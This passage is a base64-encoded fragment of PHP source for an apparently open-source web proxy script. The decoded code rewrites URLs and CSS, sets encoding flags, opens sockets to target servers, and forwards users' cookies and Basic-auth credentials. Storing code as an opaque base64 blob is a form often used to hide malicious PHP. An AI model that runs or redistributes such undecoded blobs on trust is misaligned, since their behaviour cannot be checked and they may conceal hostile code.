nX2Jhc2UnXVsnc2NoZW1lJ10gLiAnOi8vJyAuICRHTE9CQUxTWydfYmFzZSddWydob3N0J10gLiAkR0xPQkFMU1snX2Jhc2UnXVsncG9ydF9leHQnXSAuICR1cmw7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICc/JzoNCiAgICAgICAgICAgICAgICAkdXJsID0gJEdMT0JBTFNbJ19iYXNlJ11bJ2Jhc2UnXSAuICcvJyAuICRHTE9CQUxTWydfYmFzZSddWydmaWxlJ10gLiAkdXJsOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAnIyc6DQogICAgICAgICAgICAgICAgJHByb3hpZnkgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ20nOg0KICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJHVybCwgMCwgNykgPT0gJ21haWx0bzonKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHByb3hpZnkgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAkdXJsID0gJEdMT0JBTFNbJ19iYXNlJ11bJ2Jhc2UnXSAuICcvJyAuICR1cmw7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICByZXR1cm4gJHByb3hpZnkgPyAieyRHTE9CQUxTWydfc2NyaXB0X3VybCddfT97JEdMT0JBTFNbJ19jb25maWcnXVsndXJsX3Zhcl9uYW1lJ119PSIgLiBlbmNvZGVfdXJsKCR1cmwpIC4gJGZyYWdtZW50IDogJHVybDsNCn0NCg0KZnVuY3Rpb24gcHJveGlmeV9pbmxpbmVfY3NzKCRjc3MpDQp7DQogICAgcHJlZ19tYXRjaF9hbGwoJyN1cmxccypcKFxzKigoW14pXSooXFxcKSkqW14pXSopKFwpfCQpPyNpJywgJGNzcywgJG1hdGNoZXMsIFBSRUdfU0VUX09SREVSKTsNCg0KICAgIGZvciAoJGkgPSAwLCAkY291bnQgPSBjb3VudCgkbWF0Y2hlcyk7ICRpIDwgJGNvdW50OyArKyRpKQ0KICAgIHsNCiAgICAgICAgJGNzcyA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWyRpXVswXSwgJ3VybCgnIC4gcHJveGlmeV9jc3NfdXJsKCRtYXRjaGVzWyRpXVsxXSkgLiAnKScsICRjc3MpOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gJGNzczsNCn0NCg0KZnVuY3Rpb24gcHJveGlmeV9jc3MoJGNzcykNCnsNCiAgICAkY3NzID0gcHJveGlmeV9pbmxpbmVfY3NzKCRjc3MpOw0KDQogICAgcHJlZ19tYXRjaF9hbGwoIiNAaW1wb3J0XHMqKD86XCIoW15cIj5dKilcIj98JyhbXic+XSopJz8pKFteO10qKSg7fCQpI2kiLCAkY3NzLCAkbWF0Y2hlcywgUFJFR19TRVRfT1JERVIpOw0KDQogICAgZm9yICgkaSA9IDAsICRjb3VudCA9IGNvdW50KCRtYXRjaGVzKTsgJGkgPCAkY291bnQ7ICsrJGkpDQogICAgew0KICAgICAgICAkZGVsaW0gPSAnIic7DQogICAgICAgICR1cmwgICA9ICRtYXRjaGVzWyRpXVsyXTsNCg0KICAgICAgICBpZiAoaXNzZXQoJG1hdGNoZXNbJGldWzNdKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGRlbGltID0gIiciOw0KICAgICAgICAgICAgJHVybCA9ICRtYXRjaGVzWyRpXVszXTsNCiAgICAgICAgfQ0KDQogICAgICAgICRjc3MgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1skaV1bMF0sICdAaW1wb3J0ICcgLiAkZGVsaW0gLiBwcm94aWZ5X2Nzc191cmwoJG1hdGNoZXNbJGldWzFdKSAuICRkZWxpbSAuIChpc3NldCgkbWF0Y2hlc1skaV1bNF0pID8gJG1hdGNoZXNbJGldWzRdIDogJycpLCAkY3NzKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJGNzczsNCn0NCg0KZnVuY3Rpb24gcHJveGlmeV9jc3NfdXJsKCR1cmwpDQp7DQogICAgJHVybCAgID0gdHJpbSgkdXJsKTsNCiAgICAkZGVsaW0gPSBzdHJwb3MoJHVybCwgJyInKSA9PT0gMCA/ICciJyA6IChzdHJwb3MoJHVybCwgIiciKSA9PT0gMCA/ICInIiA6ICcnKTsNCg0KICAgIHJldHVybiAkZGVsaW0gLiBwcmVnX3JlcGxhY2UoJyMoW1woXCksXHNcJyJcXFxdKSMnLCAnXFwkMScsIGNvbXBsZXRlX3VybCh0cmltKHByZWdfcmVwbGFjZSgnI1xcXCguKSMnLCAnJDEnLCB0cmltKCR1cmwsICRkZWxpbSkpKSkpIC4gJGRlbGltOw0KfQ0KDQovLw0KLy8gU0VUIEZMQUdTDQovLw0KDQppZiAoaXNzZXQoJF9QT1NUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pICYmICFpc3NldCgkX0dFVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiBpc3NldCgkX1BPU1RbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dKSkNCnsgICAgDQogICAgZm9yZWFjaCAoJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgIHsNCiAgICAgICAgJF9pZmxhZ3MgLj0gaXNzZXQoJF9QT1NUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXVskZmxhZ19uYW1lXSkgPyAoc3RyaW5nKShpbnQpKGJvb2wpJF9QT1NUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXVskZmxhZ19uYW1lXSA6ICgkX2Zyb3plbl9mbGFnc1skZmxhZ19uYW1lXSA/ICRmbGFnX3ZhbHVlIDogJzAnKTsNCiAgICB9DQogICAgDQogICAgJF9pZmxhZ3MgPSBiYXNlX2NvbnZlcnQoKCRfaWZsYWdzICE9ICcnID8gJF9pZmxhZ3MgOiAnMCcpLCAyLCAxNik7DQp9DQplbHNlIGlmIChpc3NldCgkX0dFVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXV0pICYmICFpc3NldCgkX0dFVFskX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddXSkgJiYgY3R5cGVfYWxudW0oJF9HRVRbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dKSkNCnsNCiAgICAkX2lmbGFncyA9ICRfR0VUWyRfY29uZmlnWydmbGFnc192YXJfbmFtZSddXTsNCn0NCmVsc2UgaWYgKGlzc2V0KCRfQ09PS0lFWydmbGFncyddKSAmJiBjdHlwZV9hbG51bSgkX0NPT0tJRVsnZmxhZ3MnXSkpDQp7DQogICAgJF9pZmxhZ3MgPSAkX0NPT0tJRVsnZmxhZ3MnXTsNCn0NCg0KaWYgKCRfaWZsYWdzICE9PSAnJykNCnsNCiAgICAkX3NldF9jb29raWVbXSA9IGFkZF9jb29raWUoJ2ZsYWdzJywgJF9pZmxhZ3MsIHRpbWUoKSsyNDE5MjAwKTsNCiAgICAkX2lmbGFncyA9IHN0cl9wYWQoYmFzZV9jb252ZXJ0KCRfaWZsYWdzLCAxNiwgMiksIGNvdW50KCRfZmxhZ3MpLCAnMCcsIFNUUl9QQURfTEVGVCk7DQogICAgJGkgPSAwOw0KDQogICAgZm9yZWFjaCAoJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgIHsNCiAgICAgICAgJF9mbGFnc1skZmxhZ19uYW1lXSA9ICRfZnJvemVuX2ZsYWdzWyRmbGFnX25hbWVdID8gJGZsYWdfdmFsdWUgOiAoaW50KShib29sKSRfaWZsYWdzeyRpfTsNCiAgICAgICAgJGkrKzsNCiAgICB9DQp9DQoNCi8vDQovLyBERVRFUk1JTkUgVVJMLUVOQ09ESU5HIEJBU0VEIE9OIEZMQUdTDQovLw0KDQppZiAoJF9mbGFnc1sncm90YXRlMTMnXSkNCnsNCiAgICBmdW5jdGlvbiBlbmNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gcmF3dXJsZW5jb2RlKHN0cl9yb3QxMygkdXJsKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZV91cmwoJHVybCkNCiAgICB7DQogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgnJmFtcDsnLCAnJiMzODsnKSwgJyYnLCBzdHJfcm90MTMocmF3dXJsZGVjb2RlKCR1cmwpKSk7DQogICAgfQ0KfQ0KZWxzZSBpZiAoJF9mbGFnc1snYmFzZTY0X2VuY29kZSddKQ0Kew0KICAgIGZ1bmN0aW9uIGVuY29kZV91cmwoJHVybCkNCiAgICB7DQogICAgICAgIHJldHVybiByYXd1cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkdXJsKSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZV91cmwoJHVybCkNCiAgICB7DQogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgnJmFtcDsnLCAnJiMzODsnKSwgJyYnLCBiYXNlNjRfZGVjb2RlKHJhd3VybGRlY29kZSgkdXJsKSkpOw0KICAgIH0NCn0NCmVsc2UNCnsNCiAgICBmdW5jdGlvbiBlbmNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gcmF3dXJsZW5jb2RlKCR1cmwpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkZWNvZGVfdXJsKCR1cmwpDQogICAgew0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyZhbXA7JywgJyYjMzg7JyksICcmJywgcmF3dXJsZGVjb2RlKCR1cmwpKTsNCiAgICB9DQp9DQoNCi8vDQovLyBDT01QUkVTUyBPVVRQVVQgSUYgSU5TVFJVQ1RFRA0KLy8NCg0KaWYgKCRfY29uZmlnWydjb21wcmVzc19vdXRwdXQnXSAmJiAkX3N5c3RlbVsnZ3ppcCddKQ0Kew0KICAgIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsNCn0NCg0KLy8NCi8vIFNUUklQIFNMQVNIRVMgRlJPTSBHUEMgSUYgTkVDRVNTQVJZDQovLw0KDQppZiAoJF9zeXN0ZW1bJ3N0cmlwc2xhc2hlcyddKQ0Kew0KICAgIGZ1bmN0aW9uIF9zdHJpcHNsYXNoZXMoJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCR2YWx1ZSkgPyBhcnJheV9tYXAoJ19zdHJpcHNsYXNoZXMnLCAkdmFsdWUpIDogKGlzX3N0cmluZygkdmFsdWUpID8gc3RyaXBzbGFzaGVzKCR2YWx1ZSkgOiAkdmFsdWUpOw0KICAgIH0NCiAgICANCiAgICAkX0dFVCAgICA9IF9zdHJpcHNsYXNoZXMoJF9HRVQpOw0KICAgICRfUE9TVCAgID0gX3N0cmlwc2xhc2hlcygkX1BPU1QpOw0KICAgICRfQ09PS0lFID0gX3N0cmlwc2xhc2hlcygkX0NPT0tJRSk7DQp9DQoNCi8vDQovLyBGSUdVUkUgT1VUIFdIQVQgVE8gRE8gKFBPU1QgVVJMLWZvcm0gc3VibWl0LCBHRVQgZm9ybSByZXF1ZXN0LCByZWd1bGFyIHJlcXVlc3QsIGJhc2ljIGF1dGgsIGNvb2tpZSBtYW5hZ2VyLCBzaG93IFVSTC1mb3JtKQ0KLy8NCg0KaWYgKGlzc2V0KCRfUE9TVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiAhaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkpDQp7ICAgDQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfc2NyaXB0X3VybCAuICc/JyAuICRfY29uZmlnWyd1cmxfdmFyX25hbWUnXSAuICc9JyAuIGVuY29kZV91cmwoJF9QT1NUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pIC4gJyYnIC4gJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ10gLiAnPScgLiBiYXNlX2NvbnZlcnQoJF9pZmxhZ3MsIDIsIDE2KSk7DQogICAgZXhpdCgwKTsNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWyRfY29uZmlnWydnZXRfZm9ybV9uYW1lJ11dKSkNCnsNCiAgICAkX3VybCAgPSBkZWNvZGVfdXJsKCRfR0VUWyRfY29uZmlnWydnZXRfZm9ybV9uYW1lJ11dKTsNCiAgICAkcXN0ciA9IHN0cnBvcygkX3VybCwgJz8nKSAhPT0gZmFsc2UgPyAoc3RycG9zKCRfdXJsLCAnPycpID09PSBzdHJsZW4oJF91cmwpLTEgPyAnJyA6ICcmJykgOiAnPyc7DQogICAgJGFyciAgPSBleHBsb2RlKCcmJywgJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCiAgICANCiAgICBpZiAocHJlZ19tYXRjaCgnI15cUScgLiAkX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddIC4gJ1xFIycsICRhcnJbMF0pKQ0KICAgIHsNCiAgICAgICAgYXJyYXlfc2hpZnQoJGFycik7DQogICAgfQ0KICAgIA0KICAgICRfdXJsIC49ICRxc3RyIC4gaW1wbG9kZSgnJicsICRhcnIpOw0KfQ0KZWxzZSBpZiAoaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkpDQp7DQogICAgJF91cmwgPSBkZWNvZGVfdXJsKCRfR0VUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pOw0KfQ0KZWxzZSBpZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsnYWN0aW9uJ10gPT0gJ2Nvb2tpZXMnKQ0Kew0KICAgIHNob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2Nvb2tpZXMnKSk7DQp9DQplbHNlDQp7DQogICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlbnRyeV9mb3JtJykpOw0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSwgJF9QT1NUWyRfY29uZmlnWydiYXNpY19hdXRoX3Zhcl9uYW1lJ11dLCAkX1BPU1RbJ3VzZXJuYW1lJ10sICRfUE9TVFsncGFzc3dvcmQnXSkpDQp7DQogICAgJF9yZXF1ZXN0X21ldGhvZCAgICA9ICdHRVQnOw0KICAgICRfYmFzaWNfYXV0aF9yZWFsbSAgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFskX2NvbmZpZ1snYmFzaWNfYXV0aF92YXJfbmFtZSddXSk7DQogICAgJF9iYXNpY19hdXRoX2hlYWRlciA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWyd1c2VybmFtZSddIC4gJzonIC4gJF9QT1NUWydwYXNzd29yZCddKTsNCn0NCg0KLy8NCi8vIFNFVCBVUkwNCi8vDQoNCmlmIChzdHJwb3MoJF91cmwsICc6Ly8nKSA9PT0gZmFsc2UpDQp7DQogICAgJF91cmwgPSAnaHR0cDovLycgLiAkX3VybDsNCn0NCg0KaWYgKHVybF9wYXJzZSgkX3VybCwgJF91cmxfcGFydHMpKQ0Kew0KICAgICRfYmFzZSA9ICRfdXJsX3BhcnRzOw0KICAgIA0KICAgIGlmICghZW1wdHkoJF9ob3N0cykpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX2hvc3RzIGFzICRob3N0KQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkaG9zdCwgJF91cmxfcGFydHNbJ2hvc3QnXSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlcnJvcicsICdncm91cCcgPT4gJ3VybCcsICd0eXBlJyA9PiAnZXh0ZXJuYWwnLCAnZXJyb3InID0+IDEpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCmVsc2UNCnsNCiAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAndXJsJywgJ3R5cGUnID0+ICdleHRlcm5hbCcsICdlcnJvcicgPT4gMikpOw0KfQ0KDQovLw0KLy8gSE9UTElOS0lORyBQUkVWRU5USU9ODQovLw0KDQppZiAoISRfY29uZmlnWydhbGxvd19ob3RsaW5raW5nJ10gJiYgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkNCnsNCiAgICAkX2hvdGxpbmtfZG9tYWluc1tdID0gJF9odHRwX2hvc3Q7DQogICAgJGlzX2hvdGxpbmtpbmcgICAgICA9IHRydWU7DQogICAgDQogICAgZm9yZWFjaCAoJF9ob3RsaW5rX2RvbWFpbnMgYXMgJGhvc3QpDQogICAgew0KICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15odHRwcz9cOlwvXC8od3d3KT9cUScgLiAkaG9zdCAgLiAnXEUoXC98XDp8JCkjaScsIHRyaW0oJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRpc19ob3RsaW5raW5nID0gZmFsc2U7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBpZiAoJGlzX2hvdGxpbmtpbmcpDQogICAgew0KICAgICAgICBzd2l0Y2ggKCRfY29uZmlnWyd1cG9uX2hvdGxpbmsnXSkNCiAgICAgICAgew0KICAgICAgICAgICAgY2FzZSAxOg0KICAgICAgICAgICAgICAgIHNob3dfcmVwb3J0KGFycmF5KCd3aGljaCcgPT4gJ2luZGV4JywgJ2NhdGVnb3J5JyA9PiAnZXJyb3InLCAnZ3JvdXAnID0+ICdyZXNvdXJjZScsICd0eXBlJyA9PiAnaG90bGlua2luZycpKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgMjoNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgICAgICAgICBleGl0KDApOw0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9jb25maWdbJ3Vwb25faG90bGluayddKTsNCiAgICAgICAgICAgICAgICBleGl0KDApOw0KICAgICAgICB9DQogICAgfQ0KfQ0KIA0KLy8NCi8vIE9QRU4gU09DS0VUIFRPIFNFUlZFUg0KLy8NCg0KZG8NCnsNCiAgICAkX3JldHJ5ICA9IGZhbHNlOw0KICAgICRfc29ja2V0ID0gQGZzb2Nrb3BlbigoJF91cmxfcGFydHNbJ3NjaGVtZSddID09PSAnaHR0cHMnICYmICRfc3lzdGVtWydzc2wnXSA/ICdzc2w6Ly8nIDogJ3RjcDovLycpIC4gJF91cmxfcGFydHNbJ2hvc3QnXSwgJF91cmxfcGFydHNbJ3BvcnQnXSwgJGVycl9ubywgJGVycl9zdHIsIDMwKTsNCg0KICAgIGlmICgkX3NvY2tldCA9PT0gZmFsc2UpDQogICAgew0KICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAndXJsJywgJ3R5cGUnID0+ICdpbnRlcm5hbCcsICdlcnJvcicgPT4gJGVycl9ubykpOw0KICAgIH0NCg0KICAgIC8vDQogICAgLy8gU0VUIFJFUVVFU1QgSEVBREVSUw0KICAgIC8vDQoNCiAgICAkX3JlcXVlc3RfaGVhZGVycyAgPSAkX3JlcXVlc3RfbWV0aG9kIC4gJyAnIC4gJF91cmxfcGFydHNbJ3BhdGgnXTsNCg0KICAgIGlmIChpc3NldCgkX3VybF9wYXJ0c1sncXVlcnknXSkpDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAnPyc7DQogICAgICAgICRxdWVyeSA9IHByZWdfc3BsaXQoJyMoWyY7XSkjJywgJF91cmxfcGFydHNbJ3F1ZXJ5J10sIC0xLCBQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KICAgICAgICBmb3IgKCRpID0gMCwgJGNvdW50ID0gY291bnQoJHF1ZXJ5KTsgJGkgPCAkY291bnQ7ICRfcmVxdWVzdF9oZWFkZXJzIC49IGltcGxvZGUoJz0nLCBhcnJheV9tYXAoJ3VybGVuY29kZScsIGFycmF5X21hcCgndXJsZGVjb2RlJywgZXhwbG9kZSgnPScsICRxdWVyeVskaV0pKSkpIC4gKGlzc2V0KCRxdWVyeVsrKyRpXSkgPyAkcXVlcnlbJGldIDogJycpLCAkaSsrKTsNCiAgICB9DQoNCiAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiIEhUVFAvMS4wXHJcbiI7DQogICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJ0hvc3Q6ICcgLiAkX3VybF9wYXJ0c1snaG9zdCddIC4gJF91cmxfcGFydHNbJ3BvcnRfZXh0J10gLiAiXHJcbiI7DQoNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICdVc2VyLUFnZW50OiAnIC4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIC4gIlxyXG4iOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUJ10pKQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJ0FjY2VwdDogJyAuICRfU0VSVkVSWydIVFRQX0FDQ0VQVCddIC4gIlxyXG4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAiQWNjZXB0OiAqLyo7cT0wLjFcclxuIjsNCiAgICB9DQogICAgaWYgKCRfZmxhZ3NbJ3Nob3dfcmVmZXJlciddICYmIGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgJiYgcHJlZ19tYXRjaCgnI15cUScgLiAkX3NjcmlwdF91cmwgLiAnPycgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnPVxFKFteJl0rKSMnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sICRtYXRjaGVzKSkNCiAgICB7DQogICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICdSZWZlcmVyOiAnIC4gZGVjb2RlX3VybCgkbWF0Y2hlc1sxXSkgLiAiXHJcbiI7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9DT09LSUUpKQ0KICAgIHsNCiAgICAgICAgJF9jb29raWUgID0gJyc7DQogICAgICAgICRfYXV0aF9jcmVkcyAgICA9IGFycmF5KCk7DQogICAgDQogICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRjb29raWVfaWQgPT4gJGNvb2tpZV9jb250ZW50KQ0KICAgICAgICB7DQogICAgICAgICAgICAkY29va2llX2lkICAgICAgPSBleHBsb2RlKCc7JywgcmF3dXJsZGVjb2RlKCRjb29raWVfaWQpKTsNCiAgICAgICAgICAgICRjb29raWVfY29udGVudCA9IGV4cGxvZGUoJzsnLCByYXd1cmxkZWNvZGUoJGNvb2tpZV9jb250ZW50KSk7DQogICAgDQogICAgICAgICAgICBpZiAoJGNvb2tpZV9pZFswXSA9PT0gJ0NPT0tJRScpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNvb2tpZV9pZFszXSA9IHN0cl9yZXBsYWNlKCdfJywgJy4nLCAkY29va2llX2lkWzNdKTsgLy9zdHVwaWQgUEhQIGNhbid0IGhhdmUgZG90cyBpbiB2YXIgbmFtZXMNCg0KICAgICAgICAgICAgICAgIGlmIChjb3VudCgkY29va2llX2lkKSA8IDQgfHwgKCRjb29raWVfY29udGVudFsxXSA9PSAnc2VjdXJlJyAmJiAkX3VybF9wYXJ0c1snc2NoZW1lJ10gIT0gJ2h0dHBzJykpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgDQogICAgICAgICAgICAgICAgaWYgKChwcmVnX21hdGNoKCcjXFEnIC4gJGNvb2tpZV9pZFszXSAuICdcRSQjaScsICRfdXJsX3BhcnRzWydob3N0J10pIHx8IHN0cnRvbG93ZXIoJGNvb2tpZV9pZFszXSkgPT0gc3RydG9sb3dlcignLicgLiAkX3VybF9wYXJ0c1snaG9zdCddKSkgJiYgcHJlZ19tYXRjaCgnI15cUScgLiAkY29va2llX2lkWzJdIC4gJ1xFIycsICRfdXJsX3BhcnRzWydwYXRoJ10pKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJF9jb29raWUgLj0gKCRfY29va2llICE9ICcnID8gJzsgJyA6ICcnKSAuIChlbXB0eSgkY29va2llX2lkWzFdKSA/ICcnIDogJGNvb2tpZV9pZFsxXSAuICc9JykgLiAkY29va2llX2NvbnRlbnRbMF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSBpZiAoJGNvb2tpZV9pZFswXSA9PT0gJ0FVVEgnICYmIGNvdW50KCRjb29raWVfaWQpID09PSAzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRjb29raWVfaWRbMl0gPSBzdHJfcmVwbGFjZSgnXycsICcuJywgJGNvb2tpZV9pZFsyXSk7DQoNCiAgICAgICAgICAgICAgICBpZiAoJF91cmxfcGFydHNbJ2hvc3QnXSAuICc6JyAuICRfdXJsX3BhcnRzWydwb3J0J10gPT09ICRjb29raWVfaWRbMl0pDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkX2F1dGhfY3JlZHNbJGNvb2tpZV9pZFsxXV0gPSAkY29va2llX2NvbnRlbnRbMF07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZiAoJF9jb29raWUgIT0gJycpDQogICAgICAgIHsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb29raWU6ICRfY29va2llXHJcbiI7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKGlzc2V0KCRfdXJsX3BhcnRzWyd1c2VyJ10sICRfdXJsX3BhcnRzWydwYXNzJ10pKQ0KICAgIHsNCiAgICAgICAgJF9iYXNpY19hdXRoX2hlYWRlciA9IGJhc2U2NF9lbmNvZGUoJF91cmxfcGFydHNbJ3VzZXInXSAuICc6JyAuICRfdXJsX3BhcnRzWydwYXNzJ10pOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfYmFzaWNfYXV0aF9oZWFkZXIpKQ0KICAgIHsNCiAgICAgICAgJF9zZXRfY29va2llW10gPSBhZGRfY29va2llKCJBVVRIO3skX2Jhc2ljX2F1dGhfcmVhbG19O3skX3VybF9wYXJ0c1snaG9zdCddfTp7JF91cmxfcGFydHNbJ3BvcnQnXX0iLCAkX2Jhc2ljX2F1dGhfaGVhZGVyKTsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkF1dGhvcml6YXRpb246IEJhc2ljIHskX2Jhc2ljX2F1dGhfaGVhZGVyfVxyXG4iOw0KICAgIH0NCiAgICBlbHNlIGlmICghZW1wdHkoJF9iYXNpY19hdXRoX3JlYWxtKSAmJiBpc3NldCgkX2F1dGhfY3JlZHNbJF9iYXNpY19hdXRoX3JlYWxtXSkpDQogICAgew0KICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAgLj0gIkF1dGhvcml6YXRpb246IEJhc2ljIHskX2F1dGhfY3JlZHNbJF9iYXNpY19hdXRoX3JlYWxtXX1cclxuIjsNCiAgICB9DQogICAgZWxzZSBpZiAobGlzdCgkX2Jhc2ljX2F1dGhfcmVhbG0sICRfYmFzaWNfYXV0aF9oZWFkZXIpID0gZWFjaCgkX2F1dGhfY3JlZHMpKQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkF1dGhvcml6YXRpb246IEJhc2ljIHskX2Jhc2ljX2F1dGhfaGVhZGVyfVxyXG4iOw0KICAgIH0NCiAgICBpZiAoJF9yZXF1ZXN0X21ldGhvZCA9PSAnUE9TVCcpDQogICAgeyAgIA0KICAgICAgICBpZiAoIWVtcHR5KCRfRklMRVMpICYmICRfc3lzdGVtWyd1cGxvYWRzJ10pDQogICAgICAgIHsNCiAgICAgICAgICAgICRfZGF0YV9ib3VuZGFyeSA9ICctLS0tJyAuIG1kNSh1bmlxaWQocmFuZCgpLCB0cnVlKSk7DQogICAgICAgICAgICAkYXJyYXkgPSBzZXRfcG9zdF92YXJzKCRfUE9TVCk7DQogICAgDQogICAgICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIi0teyRfZGF0YV9ib3VuZGFyeX1cclxuIjsNCiAgICAgICAg